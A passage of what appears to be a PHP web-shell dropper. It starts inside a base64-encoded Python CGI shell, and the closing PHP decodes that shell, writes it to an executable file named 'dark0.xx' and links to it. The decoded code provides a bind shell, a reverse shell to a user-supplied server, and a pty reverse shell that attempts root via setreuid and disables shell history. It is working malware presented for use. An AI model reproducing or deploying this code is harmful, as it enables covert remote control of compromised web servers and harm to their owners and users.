ICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK'; $file = fopen("dark0.xx" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("dark0.xx",0755); echo '<center><p>Sucessfully</p><a href=dark0cgi/dark0.xx target="_blank">dark0cgi</a></center>'; }
|